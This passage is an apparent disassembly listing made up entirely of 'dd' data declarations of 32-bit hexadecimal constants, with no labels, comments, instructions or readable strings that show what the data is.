		dd 3C581496h, 0DA002F8Bh, 1208B17Dh, 0EB00A64Dh, 7FFC9944h
		dd 0A8BE78h, 0B9D518D9h, 9275E369h, 7D800517h, 6CFBF303h
		dd 0B6ABD06Fh, 642F3972h, 9C0EE19Fh, 847B14F1h,	0F43AA63Eh
		dd 25695980h, 3927BD34h, 0B457103h, 0C0CA47DBh,	0F512E1Bh
		dd 0E2C961B9h, 0E6A2CC60h, 220115E0h, 11F00277h, 8BF452DFh
		dd 0E143009Fh, 0C5C9CE84h, 8300912Fh, 0F411F18h, 7B95C709h
		dd 2C760075h, 0A728E254h, 55001626h, 0A476FF6h,	50D8F8h
		dd 0A8803323h, 6E39E420h, 0C0A98C00h, 18BAAF4Bh, 164D1C8Fh
		dd 23728027h, 0FD01BFAAh, 1DDF195Ch, 551F31E6h,	600BE28Fh
		dd 83EE46F5h, 683E60FCh, 0CA817E23h, 0FFB958h, 8B8CA98Ah
		dd 71917Fh, 0FE5CDF25h,	2B9FB5FFh, 7CF63Eh, 7A93DB61h
		dd 18D07E2Fh, 18F508EFh, 63008C49h, 966EBBD5h, 66501E5h
		dd 0A2A0A74Dh, 0A300A050h, 1F8967A1h, 0FE224AC8h, 90B9C07Bh
		dd 44F9B11Ch, 0B0BC4100h, 0D494B977h, 95A70C4Ah, 76284F8Dh
		dd 8886AF03h, 0AD7593EEh, 24286881h, 5A2E520h, 0BDC91663h
		dd 343EC0F2h, 0D573FD53h, 3C1F2703h, 0C8C3FE99h, 79AAEC50h
		dd 0F3681209h, 1DE400F1h, 0F8F6CFA5h, 6B35C70Eh, 94600DFh
		dd 736385Ah, 76E16F2Ah,	37E4107Dh, 20F1856h, 0A02C31D8h
		dd 0BF5DF9CFh, 4A240019h, 0EFB21C4Bh, 2003F06h,	81303AC0h
		dd 1CB19899h, 80F026h, 0E4763BBh, 0A63FD5E8h, 0BA0D1DD1h
		dd 0B627C101h, 5883F36Ch, 0CB0C8930h, 3D363801h, 58C8A745h
		dd 2C3CC0h, 344EFCC5h, 4A7BFFE0h, 0CFB2CD00h, 74DD6F35h
		dd 0AA710085h, 44839CAh, 0D9F792BEh, 4B90EC5Ch,	9B344C00h
		dd 3088281Fh, 10E5147Ah, 1C00D605h, 0F4732BECh,	0FD307C8Dh
		dd 0F995188Eh, 5F1103DDh, 0DD66B3Dh, 893BF97Dh,	80443F8Ah
		dd 18BD0381h, 58203680h, 0EA3BA875h, 7FE12867h,	0A0CD70E6h
		dd 4116D730h, 4880D93h,	4F61A186h, 0AB858004h, 2771AD03h
		dd 29E6D630h, 381C755h,	0FE08D9F5h, 80CBAA30h, 0E49EFA0h
		dd 66F9F660h, 0C34BD9h,	0CA7BE822h, 0C9252AA9h,	929F891Dh
		dd 0BC871032h, 3CBE0F04h, 12809124h, 3D6EE2B7h,	1EAD3900h
		dd 0DC86B322h, 2080028h, 0C3BD1363h, 6D01DFFCh,	24478354h
		dd 0C7F425A2h, 6174006Ah, 0C14EF2FFh, 0EF009F79h, 0A6687523h
		dd 567E6Bh, 459281A4h, 955F24FCh, 268A0707h, 0AF108E34h
		dd 0BC74A0h, 0E3EBD682h, 0D084EA27h, 633CB800h,	469DC04Eh
		dd 3DA500D9h, 0FBA435DFh, 27009961h, 0CE9A71EDh, 0E4E7EA95h
		dd 83C0001Ah, 8C3BB873h, 9F0367B0h, 327C0DE4h, 76858008h
		dd 441B3F09h, 0C2D7EF0Fh, 55B50A20h, 0FF0037F2h, 5F3F64A5h
		dd 0CF2179h, 5CD58B03h,	0E2ECCD10h, 80EBF639h, 0CBE17D74h
		dd 0E845623Dh, 0B51C0015h, 2EA59976h, 8F00A636h, 0B1F59E8Bh
		dd 0F48660h, 5EAFA201h,	0B09B6551h, 0E75F270Eh,	808A6953h
		dd 123E7F5Eh, 474B0016h, 79DF2C35h, 370E5449h, 0E0FF859Eh
		dd 0FAF0E0FDh, 0D70107EBh, 50953F1Fh, 5F8BD480h, 0AFC038h
		dd 9B8E5C24h, 5DB789h, 57117353h, 0E4EC612Ah, 7A1B2615h
		dd 0D53CFCh, 0F0848AF7h, 0FBC63Ah, 850129EBh, 0E6C2DD9Eh
		dd 4D003470h, 907CB8D4h, 0DBF786h, 0BE23110Fh, 55C34819h
		dd 2A044603h, 0E041A594h, 19289A1h, 8F6D5354h, 2458E3A6h
		dd 3A032234h, 0BEAA6AD3h, 0C44F806Bh, 7E9E009Ah, 522E2BC5h
		dd 0D34C9DFCh, 0E8420011h, 0A2EBF8C9h, 39E90FD6h, 49607A4Fh
		dd 3E5BDCB7h, 963FD00Fh, 0EBB20090h, 0E86ABC8Ch, 0A9FE077Eh
		dd 9310B047h, 0D8A836C3h, 0FE63974h, 3F3AFF02h,	48578013h
		dd 0CC8D30h, 3156B3FCh,	0C582BA45h, 0EE2E1700h,	68BD601Ah
		dd 400700CCh, 0F78ED589h, 1F1D7539h, 0CD409C57h, 85CCFCD1h
		dd 14BFFEF1h, 843F80D9h, 40BD9612h, 0EE273DC4h,	0DD1E098Fh
		dd 0B40ECDEh, 0E3C50C0Ah, 8D030056h, 0CEABB786h, 25005230h
		dd 42D8B4D5h, 0FABF4553h, 0C7182801h, 27A400CCh, 0EED67103h
		dd 671D6E8Ah, 0A4A81CD0h, 0C3D7D500h, 0E752A912h, 95F0A05h
		dd 0ABCA825h, 40885DA5h, 26A3E2A7h, 1E013E01h, 0FC227A05h
		dd 0FA9E3C8h, 0F30FA9Eh, 6759B2A3h, 0B9A8B383h,	0B6008A0Eh
		dd 9A732969h, 484F8907h, 7A002CDFh, 0EFDEC25Ah,	6E2440A7h
		dd 81006CBEh, 15275E19h
		dd 28CB6044h, 462FE164h, 0AB1C9301h, 24968D66h,	64F19442h
		dd 27360050h, 8098AFDh,	3E5BE8D3h, 4C12C8E8h, 726C00F6h
		dd 8E9D85E7h, 0B6CEF00h, 6BDBFA0Eh, 0E4EA5048h,	8D390043h
		dd 4E9F0C1Dh, 0D00C286h, 0A7128168h, 3F22489h, 7FBBD430h
		dd 0E4882DC4h, 0E700C96Dh, 0DDE2FACDh, 37CBDh, 70B13C20h
		dd 1CF8F359h, 0B74AD00h, 71E727DEh, 1C67E4BBh, 0DD8F6BA0h
		dd 55A84058h, 0FE04B590h, 92A65B01h, 4C0CF0D9h,	0B017E06Eh
		dd 45BCE10Bh, 575A002Ch, 0AE30CAh, 9F383BFh, 0C7ED91B2h
		dd 12A0B00h, 6B1B53F1h,	0C35700E0h, 0E1CADD02h,	0F8F0BF03h
		dd 260F330Bh, 5B710069h, 94AC4Eh, 3FC8652Ah, 0E773B2Bh
		dd 0FBBB6F00h, 0D18AB436h, 0D87B00C7h, 0A37F880Ch, 300E88Ch
		dd 0C181B043h, 173FFA1h, 0ED8D2225h, 0F0A87DD1h, 2F0E0902h
		dd 40F2FD77h, 0FC3CB033h, 1DCF0045h, 4FB9B7F6h,	38003FE5h
		dd 1BB5A04h, 733EA6h, 9A4DE37Fh, 436BD62Bh, 0F8528C00h
		dd 49757ADDh, 0F34700D0h, 0E1CD7D12h, 59628ED3h, 57CBFFD0h
		dd 38000DE3h, 0B0F70154h, 6E1CE3h, 2DE5FD5Fh, 39D914DDh
		dd 0FB6F3438h, 0ED85D10Eh, 6D0C23A2h, 98BCC064h, 0C2DE004Fh
		dd 5729F6B9h, 0ED00E34Bh, 0C1A2C7E8h, 0FCE8959h, 0A449F2CDh
		dd 0E9988FC0h, 82008142h, 0FD4F2A27h, 922038h, 1F1AF6FEh
		dd 0F38E3734h, 4CA0D206h, 3B18563h, 0BB3B7794h,	1D903CE5h
		dd 1E015FB7h, 477F0332h, 0DAE4053Dh, 3A9044h, 6717C23Eh
		dd 86375C91h, 0FDD3FE07h, 56D07715h, 0E03182h, 0D5498E0Fh
		dd 3CD45805h, 0A363E800h, 417EF4ACh, 5E7D0F06h,	4D2059D6h
		dd 6F0DE7A9h, 8C75CD06h, 0C011F1B5h, 9605AC88h,	851DB6A1h
		dd 58447851h, 8805E55h,	75C820h, 271D50F2h, 929EDEE5h
		dd 42FB9000h, 871C05C9h, 0ABB816h, 83EF4104h, 3AD6A045h
		dd 9222170Ch, 1F201Bh, 21498197h, 54F59455h, 34D04200h
		dd 6A95CC8Fh, 0FA3700A6h, 0A0D1E810h, 9207C4CBh, 31282602h
		dd 0F95CB9h, 0A489A348h, 0CE3E1316h, 8FAA8E37h,	9ABC02EBh
		dd 2F644866h, 5CA9015Fh, 0A33DE0DAh, 0BD3D476h,	16737F00h
		dd 65ABA6B6h, 6E1702D1h, 0A59B5F9Ah, 33D32C40h,	57D47F00h
		dd 352EEA72h, 231500D9h, 0C5281CE0h, 4AE2E836h,	817BE700h
		dd 0D55BC6A1h, 753F0072h, 5AAD71D2h, 6507911Eh,	0CEB283Bh
		dd 0E04EC0A2h, 0C7C9A1h, 0B2F3E860h, 7F6D3FA1h,	5257F000h
		dd 4018EBB1h, 41900008h, 0BEB93D64h, 0FE016D14h, 0AD8AD005h
		dd 0E2F49AF4h, 0A4FA0096h, 1A4021EBh, 500C1D0Ch, 30E13897h
		dd 421E0092h, 1F16170h,	0CC038048h, 63FE5244h, 2547E999h
		dd 0F84B30h, 0EB131BA4h, 9DDD5EF6h, 3945350h, 0E0B83200h
		dd 0E38498CFh, 0F75D006Fh, 0BED81121h, 4C12B23Ah, 57009502h
		dd 0DED676E2h, 97FF03A8h, 75805EC7h, 2056EBD1h,	983AFB74h
		dd 9F7060F0h, 0EA11BECh, 61C1F9Dh, 97F61882h, 10751082h
		dd 35611C80h, 5E0387C4h, 3A8BD1E5h, 63181F14h, 0D70E3C5Dh
		dd 0AD2C3148h, 0BB7CB620h, 7BAED407h, 0EB10637Dh, 0C72A2D07h
		dd 0E7BB38E9h, 0C2E324CDh, 34806324h, 7BC42A79h, 0F19AF618h
		dd 29D4F789h, 0F14A81Bh, 9C143543h, 0B4B58A00h,	1B96BE72h
		dd 68313E25h, 0A4984Ch,	0DC883DA5h, 0FEA66F35h,	0AD1D8901h
		dd 0E1903FB4h, 1BDAF4h,	0A806760Eh, 0C312172Fh,	0C6573Dh
		dd 0A7F694F3h, 5F7F5Ch,	9F612204h, 9E5A011Eh, 99ED4201h
		dd 0D9737230h, 1B8CC0CFh, 4F0F00C6h, 496BB36Dh,	0B700A089h
		dd 6EF66562h, 0C694C8h,	4DC7E0A7h, 0CBEF344Bh, 7AFF5B00h
		dd 0C150A119h, 0F486012Fh, 46361539h, 298483Dh,	127DF1FCh
		dd 981011C2h, 0D8848035h, 15F41Eh, 0EBEE8FE4h, 39C05940h
		dd 1F972501h, 0E9F1330Ah, 0EB29C3CCh, 0A212299Eh, 94C25010h
		dd 19002721h, 8FE5FB12h, 87F04466h, 442BF744h, 0C32BAF4h
		dd 102A5012h, 79CA39A8h, 7708147Fh, 0F27E880Bh,	6D800E00h
		dd 191DCh, 0A24532ABh, 145B4425h, 1AB4DA00h, 0F6E44AB7h
		dd 27C70005h, 0DBF7A37Ch, 5800C23Dh, 1C3EC673h,	0B0D0F868h
		dd 0B3B200D2h, 6B834D08h, 303ECD4h, 0B061E63Ch,	6ADEC026h
		dd 3F6300CFh, 0AB6CA886h, 79B8C5A9h, 1020EB00h,	5480D428h
		dd 45AF0057h, 0A5428D08h, 9300D8B3h, 0CD8ED969h, 83D511h
		dd 0BF1821C0h, 4EFFECBAh, 0F2F9D71Fh, 0E62C0079h, 113C6CDAh
		dd 579007Dh, 0FE8F870Eh, 0E216C790h, 1600C419h,	581E61BDh
		dd 273917F1h, 284A076Eh, 7C106097h, 0F2B88D7Ah,	20E85C30h
		dd 1773C12h, 0FC4B3D21h, 0E035ECBDh, 0BF00517Eh, 5A3A41EEh
		dd 4C099F87h, 1F1FC526h, 5E785DF2h, 0C1490142h,	0FCF17A5Ah
		dd 3474F54Bh, 0B42FFB03h, 0F8D75BB5h, 4A259Eh, 6FC9DA71h
		dd 0BDACA93Eh, 9D488E00h, 5A196C9Fh, 0C47E1F6Dh, 0F9C540B0h
		dd 0DF7B07F7h, 0EA0E9A00h, 5D4CFB94h, 841601E9h, 78FE1B88h
		dd 14897091h, 21F6CE0Eh, 0E6B82051h, 271F01h, 5798324Ch
		dd 3843106Ah, 8242B600h, 9EEA6F1Ch, 972D00DAh, 0E6A61DF5h
		dd 0B33086A3h, 9AAC58D2h, 77591C75h, 0B61E8F38h, 99A3FA80h
		dd 3901F784h, 142804C8h, 9DEC099Ch, 0BAF10977h,	4F872934h
		dd 0D249E085h, 180070AEh, 0EC19652h, 6E013h, 0B9480759h
		dd 0E5014FDAh, 0A9728C01h, 8E7BCF6Dh, 0FA1FAE4h, 586C5E78h
		dd 9E8D97A0h, 2D12E1B1h, 100066CAh, 344CAE39h, 0AD7D0ADFh
		dd 1FD896B9h, 0BCE940E3h, 7C885E5Ch, 11010B00h,	62B15FF4h
		dd 0AB90001Fh, 21188BDFh, 85003665h, 34AF27CCh,	238ADEh
		dd 82503577h, 1757B2A9h, 8C685100h, 1DF9B82Bh, 0C5F5162Ah
		dd 0B9880012h, 0B75CC1A6h, 55D7D500h, 9A45A910h, 4919072Eh
		dd 500C0FFBh, 432687Fh,	1A96830Ch, 3E101Ch, 0CC2CA4DDh
		dd 78F519FBh, 6C21B301h, 9DBA3675h, 4DC3F4h, 0B9ACB4FEh
		dd 23D1A4F5h, 8D205900h, 17E76889h, 5FBD0826h, 0E6804A58h
		dd 0D6525DFDh, 4C251C87h, 5EF1C2CCh, 32C06942h,	67078210h
		dd 73DF1746h, 9FD01F80h, 31FC03CFh, 3039B40Fh, 0EA24A0D8h
		dd 3FDD2C01h, 4C9BC1EEh, 4FBF60FEh, 0BF190E6Fh,	0E5014541h
		dd 0EC013A5Eh, 0B00A442h, 2E6708BAh, 7C2027h, 0A9B74D6h
		dd 6313B5E9h, 6CF2261Dh, 0F8B214h, 2BC9E0EAh, 1A488A9h
		dd 23D199Ch, 0D0493374h, 0A8070BFBh, 0A93F308Bh, 0F114B220h
		dd 0AA3D3C80h, 0F668A4h, 0EDE2E8B9h, 5D001A87h,	380AD79Ch
		dd 0C8CAEEh, 6B7B4997h,	0E7EBDA0Ch, 80A6B403h, 984B3413h
		dd 17D5BF3h, 0CE600FA1h, 0E897485Fh, 7700EDD8h,	0CBBC048Dh
		dd 1444F2Ah, 6F309AC6h,	0E8A2B40Dh, 0A30E63B5h,	0EAAFDBA9h
		dd 5200A00Fh, 2B8F1913h, 0A2E900A0h, 0BC0F6C7h,	7D004664h
		dd 0DD56D07Ah, 77CEB1EEh, 5FCC003Dh, 46140E0Fh,	921DDF99h
		dd 7B4042BDh, 0EFE7FF4Eh, 9E190029h, 0E0611182h, 93043F58h
		dd 0A8047EF0h, 146668C0h, 0E4820EC3h, 0FCA0623Eh, 0FD3D14Dh
		dd 407A7400h, 0EA6B873Dh, 588C0037h, 9563651h, 47009515h
		dd 0AC828AC0h, 0A7F7E4h, 2EB50F06h, 0DB0572BFh,	0B7B8E51Dh
		dd 0AEE4EFC0h, 0F011084h, 0F0B9D6A5h, 8E5CD740h, 243DA649h
		dd 55CF0021h, 0D571A426h, 179B0EF7h, 9200381h, 46739CFEh
		dd 0BF535C00h, 664B90D8h, 54EA6Eh, 33FF6B74h, 0BAD17A41h
		dd 980CA300h, 0A861DE08h, 5C941E56h, 0A26CC03Eh, 6B782AD2h
		dd 66585E00h, 0BAEE2B02h
		dd 6F52002Ch, 3E8FC917h, 0AB000B51h, 0F1BBEB84h, 1FDF2865h
		dd 1EECEDDCh, 53918FD7h, 0E29BF640h, 0B1074A4Bh, 6251D90Ch
		dd 7E40A9A7h, 5BFEE4h, 2633456Eh, 55422208h, 8ED02C1Dh
		dd 0E0B4A180h, 0D2C860h, 53350D9Dh, 9F4EF357h, 1A36FB00h
		dd 0B8C9D47Ch, 0AB0C00DBh, 5DB14792h, 1E0054F3h, 7A16F791h
		dd 7BCB9Ch, 4DB03B24h, 85210A35h, 0A2324Ch, 0D51E7EFEh
		dd 26F5D396h, 2CA19Bh, 775F3BA3h, 0A00070CFh, 6C6955E7h
		dd 193DCB68h, 0C190FAF2h, 4423F0B9h, 0A36B2F04h, 1AC554EBh
		dd 72C59C00h, 0C0ECB766h, 31B9D828h, 3D4DD14Ch,	2017708h
		dd 0B617F298h, 4600325h, 4892416h, 30C1016Ch, 0F45811DCh
		dd 2502A969h, 1A94403Ch, 0C360602Ch, 37A100F1h,	4E06D5Fh
		dd 572CDBD2h, 2D1D645Ch, 0D5A86C80h, 0D4032Fh, 45A58981h
		dd 0F4F83CC8h, 0C7D22C02h, 40A37664h, 1EDA8B5h,	691BFBFAh
		dd 0DCD57A53h, 4300F1B5h, 0A12441D1h, 7D44E079h, 0F8C5B042h
		dd 4FF4009Ah, 7A56A3C0h, 1B0080C7h, 5478A407h, 38014111h
		dd 64072FE7h, 0E73AF5FEh, 39C55050h, 27035E56h,	0BD0C9EE2h
		dd 460FA00Dh, 936700C3h, 8C1437FFh, 900095F9h, 8820F4D5h
		dd 755A0170h, 0AADD004Bh, 0D684087Dh, 521E36E0h, 0CE801DB8h
		dd 2429F491h, 0C95B0092h, 0E67DB6D9h, 0C8019F18h, 0BCF545C1h
		dd 33CC0577h, 0B60F0325h, 0B0EA7EE7h, 136FC790h, 79C52D00h
		dd 0CA1B9E94h, 0D03A0052h, 0D9E70203h, 4300708Ah, 38206D58h
		dd 185E2D25h, 69ACC95Ch, 70286FBFh, 0C300D710h,	78FDDFAAh
		dd 1E0267DEh, 0DF823F7Bh, 87B91DC4h, 70BB158Fh,	5AE49613h
		dd 633B5600h, 17893C2Ch, 308A03DDh, 9AA88C88h, 0F41D4E81h
		dd 5F25C231h, 267D7E5Bh, 3BE26074h, 11502CF3h, 1D00E49Ch
		dd 1FBE7595h, 3E0B24ADh, 2D1C09A9h, 28E94321h, 4E88F763h
		dd 5C004342h, 260102D6h, 397DAB0h, 0E14640F8h, 6CA13D1Fh
		dd 0F02EC1D1h, 0FC7E575Ch, 6519F00h, 257875BCh,	35F0019Ah
		dd 0AFDD81B2h, 12B9CCDAh, 0BA7FD4F1h, 0D3D02200h, 94ADF7F6h
		dd 64615C89h, 7F0158h, 7EF5603Bh, 4E56954h, 6E94C70Fh
		dd 0F117C043h, 0D208A6h, 4C36CD5Eh, 0B8CBB43Ch,	941368EAh
		dd 0CC004D35h, 10C2520Ah, 0D178002Bh, 0ED4245B4h, 28C0B94Bh
		dd 4E04D7C8h, 255200C5h, 0F6827ABAh, 6D1294F1h,	900142A8h
		dd 0CD2F8B9Dh, 2E7F9FC8h, 4EFB254h, 80EC77F5h, 17826D8Ch
		dd 0F3659800h, 9D57BFEDh, 0CCEE3Eh, 74EC0ED9h, 0F41C866Ah
		dd 82D20102h, 40DE6950h, 8E4590h, 0C20F241Bh, 1E9DB73Ah
		dd 1009E7B0h, 823337D1h, 8041990Fh, 0E92935D8h,	0F9BE00EEh
		dd 2A60DF57h, 0C0009FFDh, 4812EFBAh, 33FB42h, 0B0A8762Eh
		dd 0EBB409E5h, 4A80E300h, 0A92321AEh, 20F02A6h,	0EE32F7D2h
		dd 31B077Dh, 16EC3EA0h,	0F67E02B6h, 11277742h, 493BA4E0h
		dd 0A48B900h, 2DC09C4Bh, 8C73000Dh, 0F41620AAh,	0F603392Ah
		dd 42436546h, 0CF1CFB12h, 9D64D050h, 0CCF405E9h, 0C1B86ECEh
		dd 0C416BBAFh, 9505ABFCh, 0A594D5F8h, 6DB798C0h, 127EA81h
		dd 0C1D74EC6h, 707330D3h, 90A4A348h, 1600B170h,	639AFF6Fh
		dd 3E6D89h, 687EC90Dh, 0A8EC2BA9h, 10DB7B30h, 72CC6CAh
		dd 24D0A2E5h, 5805D01Dh, 0D87F9887h, 0EAC88900h, 0B915CB2Dh
		dd 8BE21234h, 7580495Ah, 91D4E500h, 9502BC88h, 0CC805EC2h
		dd 8BF8408Eh, 3DF000CFh, 0F4AF1A27h, 0A34C2FECh, 42DB00D0h
		dd 57097526h, 0B13F037Ch, 0CDBA7658h, 0DFB30E8h, 0F3A52700h
		dd 9505C1CEh, 0A8D6F2h,	0DEE1017Dh, 0A186273h, 0E418F910h
		dd 0E311FA6h, 87711EA2h, 80C29A93h, 8B426C64h, 630FD203h
		dd 0F8E025B3h, 24F8EEC0h, 4587023h, 908487B9h, 0D84D4BECh
		dd 4F17CA00h, 0BF2529D9h, 30EFFCF2h, 46F0059Eh,	351AAC50h
		dd 60104185h, 0FEE9F3B5h, 3C10C715h, 201602Ah, 0D00154ADh
		dd 2F3DF54Bh, 43DCDCB8h, 6060EBD5h, 3FF49896h, 0FA8ED75h
		dd 0EB780093h, 0F9A00DD4h, 0D0026B03h, 0AB2FE97h, 0E5ED40C5h
		dd 17E70E77h, 80BC752Fh, 0BDF109D6h, 2214CB29h,	0FAC0DC0h
		dd 0C0F541F4h, 0B21FA2C5h, 66FF000Fh, 0AA81E32Fh, 6100A692h
		dd 0B977C59h, 1ED2FC8Ah, 40EA54E8h, 8622F04Ch, 503F1DA1h
		dd 3B3400A3h, 49927942h, 0B1F14DFh, 0BA0498B5h,	0A08F05A9h
		dd 0A3255828h, 1FB080D3h, 2E8A41A0h, 3E85CCEEh,	15D54700h
		dd 1140F7F0h, 50667500h, 0E2DFEB22h, 489C0279h,	7A29196h
		dd 0CD00A042h, 0AC1D8E3Bh, 0D9FE7800h, 967AB6CDh, 43AA0FD1h
		dd 5CA39E15h, 79E048DEh, 0F1ECDB2h, 0FDC04E9Dh,	1DF7FCA4h
		dd 48981Ah, 8F47D6EAh, 0EF81D01Eh, 0A60A200h, 77D8FC75h
		dd 6850078Dh, 1F6C342Fh, 0C0E56185h, 0E843D654h, 0EA26EF00h
		dd 7574900Bh, 73EC0056h, 49EDFA5Bh, 0AB0539D5h,	0B2F39B48h
		dd 20F28800h, 85267Dh, 3BD0C3CEh, 0ED2FA52Ch, 0F3D4A400h
		dd 0E4437A82h, 0BF5B1497h, 1F79D54Ch, 0C3CC09F9h, 15629AE7h
		dd 0F61470F0h, 7C28DBB0h, 38728812h, 0F3F9F400h, 0CCB95DC9h
		dd 0CF080049h, 0D95880E8h, 4A02EEBEh, 28897D7Ch, 4DF46059h
		dd 31E41666h, 0CD0C00CFh, 81934840h, 0C00085E2h, 5ACC5D24h
		dd 39063Bh, 0C674C1F4h,	4C790FD3h, 7B8FFF0Ch, 0F15109Bh
		dd 5ED8B1EEh, 58BE23E0h, 4B00D532h, 8175678Ah, 39E07A11h
		dd 34028268h, 9872585Ah, 5D3F8880h, 5200C69Dh, 63F9BD03h
		dd 3BB00FC7h, 13308B6Bh, 30D46C11h, 8C38E912h, 0C51AC802h
		dd 0E40400B4h, 4200D183h, 0CC39AEB5h, 91713Eh, 44A6FC66h
		dd 0EAD129Ah, 1300F490h, 263D7064h, 0B82F5649h,	0AE4807Eh
		dd 6ECC0067h, 696A990Fh, 0EE6040B8h, 0CAC84EEh,	0A0ED0080h
		dd 307DBC0Ah, 40F11F19h, 4CF1BB98h, 0B938A600h,	0DE06A363h
		dd 59370095h, 0C3D243D3h, 0F31D839Bh, 0B740A017h, 0B221E04Ch
		dd 40756352h, 34986C42h, 2807113Dh, 49515714h, 94005975h
		dd 536F4BF9h, 0CCEF0001h, 3A0FD422h, 21C347C2h,	0D8415D7Ch
		dd 2863142h, 0A36A83B8h, 6355875Ah, 953298EFh, 7759130Fh
		dd 0E71480F8h, 0A6E849ECh, 0B3E39F01h, 0AF3FDC4Bh, 8F07C440h
		dd 6C7C0532h, 0AE126D19h, 0B3A43C00h, 146FC1h, 85E0A7F7h
		dd 0A6B96622h, 0A9AF9300h, 1CD4D83Ah, 38EF9011h, 0BD0128CEh
		dd 0A356D379h, 60B06108h, 0A4008D71h, 660A24C6h, 2921D47Ch
		dd 40FC5AEBh, 766A33B9h, 6BF68C00h, 0B3C08118h,	989A56h
		dd 0FE67FA39h, 756C1E70h, 4E015A76h, 6E2D1B0Fh,	0BF20A0F5h
		dd 6B3D267Ah, 3CAC099Ch, 97E88802h, 19A69080h, 0D300A468h
		dd 0BEEF0211h, 1F3D51Ch, 0ACAD24DBh, 0EC4A1DE0h, 0E302B467h
		dd 0E9EA6F0Eh, 2D2CC0E6h, 73BF307Eh, 26790180h,	13B51A03h
		dd 0C0501585h, 7397B95h, 77243072h, 0BC05923Ch,	1661D868h
		dd 0E976D800h, 33A65920h, 8C683E7Fh, 0F5F4B980h, 0B6D5A55Fh
		dd 80107B1Eh, 9C6EBDC0h, 0D75067h, 60A8ADE4h, 0F34B1B82h
		dd 0B33AFE00h, 0CE955C0Fh, 6D718Dh, 0D067F57Eh,	6EFE6029h
		dd 0F0E8A228h, 0A71A7C04h, 0B700AB8Fh, 9BCC42DEh, 0E2BD6800h
		dd 34EA84DDh, 0F60C4864h, 0BB72700h, 89161195h,	7FA3815Ch
		dd 2507CA00h, 0AA6AE12Dh, 2EF8009Eh, 86A289D0h,	0F0A003B3h
		dd 5D01A6ACh, 7CB42A97h, 80D754CEh, 27DE611h, 3520AFABh
		dd 1C79975Ch, 52FE120Eh, 55CF3400h, 0E87F6487h,	4D4BA5Eh
		dd 679AE0DFh, 0E5BC803Ah
		dd 0C7002FA6h, 0D0225DD6h, 351592Ah, 733F5F47h,	4CA837ACh
		dd 0A9706768h, 2A51800h, 0F9E6EB1h, 0DB7001D5h,	0A230F3C8h
		dd 28BE5Dh, 7155B2ECh, 173D113h, 0A3493625h, 6DC838D4h
		dd 0F02A033Ch, 0F0B1F7ECh, 1F69A94Eh, 87A54A43h, 0B094BD41h
		dd 2DA4E3F2h, 1AD5D750h, 0B04EB100h, 9A7B121Eh,	732A0022h
		dd 91BC16A6h, 83001B10h, 0D3A16335h, 0D561E3h, 59DF3334h
		dd 9C953D6Bh, 88B34Dh, 8EA0AD66h, 0FF6B124h, 659F1858h
		dd 80567065h, 635F6F3Fh, 547C6900h, 51749B5Eh, 6B320099h
		dd 9C6A9149h, 5F3C59FFh, 636F818Fh, 387025E2h, 6080B7D9h
		dd 0D0C0ADA9h, 24009133h, 0DD58C8DCh, 0C05DEE77h, 5550FE20h
		dd 8B0CFDCCh, 99B21C33h, 30836434h, 0A0D607D8h,	0A7B61140h
		dd 0E02D308Ah, 0B203E248h, 0F897041Fh, 234FAC1Ch, 9CB5EED5h
		dd 4B0F78A2h, 1A001E8Dh, 1FC038D6h, 10000DD5h, 1F33CC52h
		dd 722657h, 47925E31h, 58A5243Ah, 51C8E706h, 0F30FABAh
		dd 91DFAC5Ch, 0F92FD918h, 55EE4370h, 0C85DCB03h, 0E3A83049h
		dd 0F387805Bh, 0CB40EB57h, 0A90262h, 8ABC6C8Dh,	5FE04B7Ch
		dd 78011500h, 1C0B35E2h, 0BA7B3DE5h, 9F1BEC80h,	0F9037EA7h
		dd 51102400h, 0C020783h, 192003Bh, 7326C235h, 1100A0FFh
		dd 96EE9E6Fh, 0B67D5h, 6A5C43ACh, 0A83E8CCEh, 0A340BA03h
		dd 0F7DF578Bh, 0FC20F765h, 1A221C9h, 5510FE6Ah,	8C7C2643h
		dd 20AE8508h, 0A26900D2h, 0FA5D078Bh, 0A40795C2h, 0D0F5799h
		dd 31FF4E80h, 2877180h,	103FD7A6h, 84686188h, 743A4459h
		dd 0B0AB8A0Eh, 0D41DE6B8h, 0C021251Ah, 0CF73C2h, 2B4018F9h
		dd 0A6891FECh, 2045D536h, 84B92150h, 1373C787h,	281248DDh
		dd 6F79201Dh, 4C0B1474h, 30E732h, 239E8D1Dh, 0F1B46CDBh
		dd 9415068h, 0B6C5E017h, 96A29BC1h, 31D29052h, 0FDD0F417h
		dd 0CF302046h, 0A25FF421h, 34777A01h, 0A44572A1h, 3ED1428Ah
		dd 0DAA80694h, 440FD9A3h, 98568DC2h, 0FA0DB669h, 0C10C058h
		dd 0C11259EDh, 0B01ED300h, 0CE0FCA68h, 0A9D500B3h, 0A60A9E42h
		dd 461F3EEDh, 19C0D8D7h, 0AEE21688h, 8AF500AFh,	0D2F7CBD5h
		dd 0AC00D9E1h, 3A900309h, 0B04649Dh, 0E88F2CD6h, 0F0885A87h
		dd 0B6FA07E1h, 4DE26600h, 0B876D4DAh, 7FB2016Ch, 3E8B2975h
		dd 0E7FC203Dh, 1C391000h, 7ADBB7FFh, 0EAB6FCA5h, 0AC5700F7h
		dd 0A2060E0Ah, 9D00BD46h, 0B756B9A4h, 0FE66588Ah, 0A6650007h
		dd 14F7AD74h, 7A0BE3B8h, 3704DDAh, 0AB59DD86h, 0F1FCC0CDh
		dd 30B3189h, 0F45B0584h, 0BCF21461h, 8005FE8h, 0CB82C2B6h
		dd 0BAA4C7h, 0DCF7D870h, 6BE628ABh, 3DF3Bh, 0E752719Fh
		dd 75CB902h, 1238B13Eh,	13A08E59h, 0B0ACABE4h, 982EF00h
		dd 4EDCFDA2h, 1ACA03BCh, 0DB9934AAh, 0A49A10B0h, 4A123A00h
		dd 7659FD7Fh, 1FE978CDh, 998FBAh, 0C8F8B3CFh, 2B30307Bh
		dd 765C180Ch, 5A20C1DDh, 30B3957Eh, 371C86F4h, 0F740B7F0h
		dd 5C896CC3h, 45EB03FDh, 922F5A9Dh, 8622921h, 0F188C9B2h
		dd 2142BFE8h, 2F8E089Eh, 22EC22BEh, 7A229326h, 0C43C2234h
		dd 22EA6922h, 3622A0D7h, 0AAFF0133h, 8D5C906Fh,	0A72711E9h
		dd 0CD105212h, 0C1704050h, 0DA012284h, 21194E42h, 41A579F7h
		dd 14AF5014h, 3229FFC6h, 7979F2FFh, 89704C10h, 10AA1026h
		dd 992900C1h, 0D3AD52CCh, 551CA52Eh, 8A00C656h,	0E78DDB9h
		dd 0AF3C007Bh, 7BD484Ah, 8000B8B1h, 0CA2D569Eh,	261BDD16h
